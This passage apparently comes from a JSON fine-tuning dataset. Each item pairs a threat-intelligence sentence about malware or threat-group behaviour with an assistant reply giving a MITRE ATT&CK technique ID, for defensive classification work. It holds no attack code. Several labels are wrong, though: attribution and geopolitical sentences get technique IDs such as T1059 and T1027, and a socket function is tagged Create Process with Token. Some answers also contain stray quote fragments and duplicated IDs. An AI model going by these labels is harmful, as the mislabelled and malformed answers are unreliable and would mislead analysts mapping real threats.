                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "connects to port 80 of a C2 server using Wininet API."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has communicated with hosts over raw TCP on port 9999."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unit 42 has discovered activity involving threat actors responsible for the OilRig campaign with a potential link to a threat group known as GreenBug. Symantec first reported on this group back in January 2017, detailing their operations and using a custom information stealing Trojan called ISMDoor"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADCALL functions as a proxy server between the victim and C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has modules that are capable of capturing video from a victim's webcam."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\\ProgramData\\Apple\\Update\\, likely as a ruse"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories', 'T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can download files via DNS."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This account was suspended in short order, but immediately after the suspension, an alternate account with the username @dookhtegan1 with the same stylized profile image appeared and is still currently active"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon can capture screenshots at a configurable interval."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can download a module to search for and build a report of harvested credential data."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32's backdoor has exfiltrated data using the already opened channel with its C&C server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A string, that contains a PDB-path to debug symbols, suggests one such tool was named CredRaptor by the attackers. This tool collects saved passwords from various browsers such as Google Chrome, Internet Explorer, Mozilla Firefox, and Opera"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to retrieve information about shares on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Web inject – the configuration file for the hooking module Once communication with the C2 is established, one of the additional modules that is downloaded is the web-inject module. It intercepts the victim’s traffic by injecting the module into the browser’s process and hooking the network API. The hooking module gets the execution flow from intercepted APIs, and as soon as the victim accesses certain web pages related to banking and finance, additional JavaScript is injected into the source page"
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking', 'T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SVR target organisations who supply privileged software to intelligence targets."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script gathers system specific data, such as the domain the system belongs to and the current username, that it constructs in the following format:   <domain>\\<username>:pass   The above string is encoded using a custom base64 encoder to strip out non-alphanumeric characters (=, / and +) from the data and replaces them with domain safe values (01, 02 and 03 respectively)"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EnvyScout has been distributed via spearphishing as an email attachment."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEARDROP was decoded using a custom rolling XOR algorithm to execute a customized Cobalt Strike payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As has been previously reported, there are two variants of the trojan TinkaOTP. The version that has received the most attention contains the malware payload in the application bundle’s Resources folder. The file is a Mach-O binary disguised as a .nib file, at ../Resources/Base.lproj/Submenu.nib. This file is copied directly to the users Library folder and renamed as .mina. The dot prefix is added in order to make it invisible in the Finder"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has used JavaScript in its attacks."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian can search for specific files and list directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "bypasses UAC to escalate privileges by using a custom “RedirectEXE” shim database."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The xmrig mining process joins the supportxmr mining pool using the wallet address 428uyvSqdpVZL7HHgpj2T5SpasCcoHZNTTzE3Lz2H5ZkiMzqayy19sYDcBGDCjoWbTfLBnc3tc9rG4Y8gXQ8fJiP5tqeBda. At the time of writing, the malware campaign has ~25.05 KH/s hashing power and there is 11 XMR (~$1,500) in the wallet"
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has registered domains for targeting intended victims."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Writes itself to %AppData%\\Microsoft\\Word\\log.ps1 2) Sets up persistence for this file, using a run key. 6) Removes all registry entries that are left behind during the dropper process"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has created a shortcut called \"Anti virus service.lnk\" in an apparent attempt to masquerade as a legitimate file."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast-paced intrusion • Very stealthy • Rapidly changing tactics • Employed advanced attack techniques 4) 4. All rights reserved.23 Our Response: Tackled Attacker WMI Usage ADVANCED ATTACK TECHNIQUES 24) 24. Captured entire functions of PS scripts, attacker commands, script output, etc. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. All rights reserved.25 Our Response: Increased PowerShell Visibility ADVANCED ATTACK TECHNIQUES 26) 26. All rights reserved.27 Our Response: Addressed Ticket Attacks ADVANCED ATTACK TECHNIQUES Event ID 4624 Event ID 4672 Event ID 4634 28) 28. All rights reserved.29 BONUS SLIDE: Even More WMI + PS FUN FACT: We saw the attacker test this backdoor before deployment 30) 30"
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then extract the image file \"image1.jpeg\" contained in the document. Find the special logo in the picture data, decode the subsequent steganographic PE data, release the randomly named .exe in the %ALLUSERSPROFILE% directory and run it"
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to find files and directories with native functionality such as dir commands."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrailBlazer can masquerade its C2 traffic as legitimate Google Notifications HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To ensure that the compromised system is unable to restore from backup, REvil deletes shadow copies and disables recovery mode by executing the following command via ShellExecute"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT was identified on disk with a filename of taskhostsvc.exe (SHA256 Hash: c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168), and internally named taskhostw.exe by its developers. It was likely built on 2020-02-20 11:40:02, according to the build timestamp found in the binary, which is consistent with the currently assessed StellarParticle supply chain attack timeline. StellarParticle operators maintained the persistence of SUNSPOT by creating a scheduled task set to execute when the host boots"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this latest campaign, APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme can retrieve the username from a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intrusions and campaigns conducted by this group are in-line with PRC goals and self-interest in Taiwan"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to record video on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recent samples, with the ability to discover wireless network settings and credentials will spawn an instance of netsh.exe after a brief sleeping period (after launch). The syntax utilized initially is"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although the activity was previously linked by others to the FIN7 threat actor group, our research suggests the activity is in fact espionage related and unlikely to be FIN7 related"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2.  also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron encrypts its configuration files with AES-256."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Frankenstein, the threat actors obtained and used Empire."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus has been disguised as legitimate programs, such as Java and Telegram Messenger."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The data found within this file is encrypted using a single-byte xor key of 0x41. The file header structure, with the underlying data still encrypted, can be seen below"
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can use XDG Autostart Entries to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has downloaded additional executables following the initial infection stage."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type has downloaded additional malware and files onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copied all targeted files to a directory called index that was eventually uploaded to the C&C server."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks for processes associated with anti-virus vendors."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of obfuscated shellcode executed via PowerShell to download a \"reverse_tcp\" payload from Metasploit onto victim systems"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT injects into a newly spawned process created from a native Windows executable."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This field contains a URL that the Trojan will use to upload the contents of the <process ID of Trojan>.txt file, which will be structured as <process ID of Trojan>.<C2 domain> where the process ID is encoded with the same character substitution function as seen previously in Table 4"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Meterpreter to enumerate users on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conclusion Tick has left a trail of evidence indicating that its activity began as early as 2006. In earlier attacks, the group used malicious Microsoft Word documents to infect victims, with compromised websites being added to the mix as a more recent attack vector"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Helminth implant is routinely delivered through macro-enabled Microsoft Office documents requiring user interaction to execute an obfuscated Visual Basic Script"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware next sets out to prevent the victim from stopping the ongoing infection. First, the machine is removed from the Active Directory domain by using WinAPI or WMI. This makes it harder to remotely push any remediation tools to the infected machines"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker has used a DGA that seeds with the current UTC victim system date to generate domains."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has called \"GetLogicalDrives\" to emumerate all mounted drives, and \"GetDriveTypeW\" to determine the drive type."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DCSrv has created Registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis of the F.bmp image revealed that it is indeed using Least Significant Bit (LSB) Steganography [9,10], a commonly used form of steganography that embeds data in an image without significantly affecting its appearance"
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since 2014, Inception has widened its use of cloud service providers for C&amp;C purposes. Whereas previously it relied on one service provider (CloudMe.com), more recently it has employed a least five cloud service providers"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has remotely copied tools and malware onto targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This function will either bind the calling process to a port or has the calling process connect to a remote host. The function is called in the following manner"
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can query `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography MachineGuid` to retrieve the machine GUID."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SodaMaster can enumerate the host name and OS version on a target system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has the ability to gather information about the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been seen exfiltrating system information stored within cookies sent within an HTTP GET request back to its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae can list files and directories on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The value is derived using the IOService to access the IOPlatformUUID property, which is equivalent to the “Hardware UUID” listed in the system information application, as seen in the Figure 3 screenshot of our analysis system"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary has the capability to execute the command \"net localgroup administrators\"."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
